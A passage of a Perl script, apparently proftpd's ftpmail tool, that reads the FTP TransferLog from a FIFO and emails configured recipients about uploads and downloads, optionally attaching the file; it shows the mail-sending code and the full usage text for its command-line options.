charset=\"iso-8859-1\"\n\n"; $email_info->{Body} .= $attach; } else { $email_info->{Body} .= "Content-Type: application/octet-stream\n"; $email_info->{Body} .= "Content-Transfer-Encoding: base64\n\n"; $email_info->{Body} .= encode_base64($attach); } $email_info->{Body} .= "\n"; } else { my $timestamp = scalar(localtime()); print STDERR "$program: $timestamp: error reading file '$file' for attaching: $!\n"; } } else { # Couldn't find/access the uploaded file on the filesystem. This usually # indicates either a permissions problem, or a munged filename. # # XXX Need to handle this better. } } else { $email_info->{Body} = $text; } my $res = Mail::Sendmail::sendmail(%$email_info); unless ($res) { my $timestamp = scalar(localtime()); print STDERR "$program: $timestamp: error sending email: $Mail::Sendmail::error\n"; } } sub usage { print <<EOH; usage: $program [--help] [--fifo \$path] [--from \$addr] [--log \$path] [--recipient \$addrs] [--upload-recipient \$addrs] [--download-recipient \$addrs] [--subject \$string] [--smtp-server \$addr] [--attach-file] [--ignore-users \$regex | --watch-users \$regex] The purpose of this script is to monitor the TransferLog written by proftpd for uploaded files. Whenever a file is uploaded by a user, an email will be sent to the specified recipients. In the email there will be the timestamp, the name of the user who uploaded the file, the path to the uploaded file, the size of the uploaded file, and the time it took to upload. Command-line options: --attach-file If used, this will cause a copy of the uploaded file to be included, as an attachment, in the generated email. --auth \$path Configures the path to a file containing SMTP authentication information. The configured file should look like this: user = \$user password = \$password --fifo \$path Indicates the path to the FIFO to which proftpd is writing its TransferLog. That is, this is the path that you used for the TransferLog directive in your proftpd.conf. This parameter is REQUIRED. --from \$addr Specifies the email address to use in the From header. This parameter is REQUIRED. --help Displays this message. --ignore-users \$regex Specifies a Perl regular expression. If the uploading user name matches this regular expression, then NO email notification is sent; otherwise, an email is sent. --log \$path Since this script reads the TransferLog using FIFOs, the actual TransferLog file is not written by default. Use this option to write the normal TransferLog file, in addition to watching for uploads. --recipient \$addr Specifies an email address to which to send an email notification of the upload. This option can be used multiple times to specify multiple recipients. AT LEAST ONE recipient is REQUIRED. --upload-recipient Same as --recipient. --download-recipient \$addr Specifies an email address to which to send an email notification of the B<download>. This option can be used multiple times to specify multiple recipients. If this option is specified, then C<ftpmail> will watch for FTP downloads as well as uploads. --smtp-server \$addr Specifies the SMTP server to which to send the email. This parameter is REQUIRED. --subject \$string Specify a custom Subject header for the email sent. The default Subject is: User '\$user' uploaded file '\$file' via FTP --watch-users \$regex Specifies a Perl regular expression. If the uploading user name matches this regular expression, then an email notification is sent; otherwise, no email is sent. EOH }
Close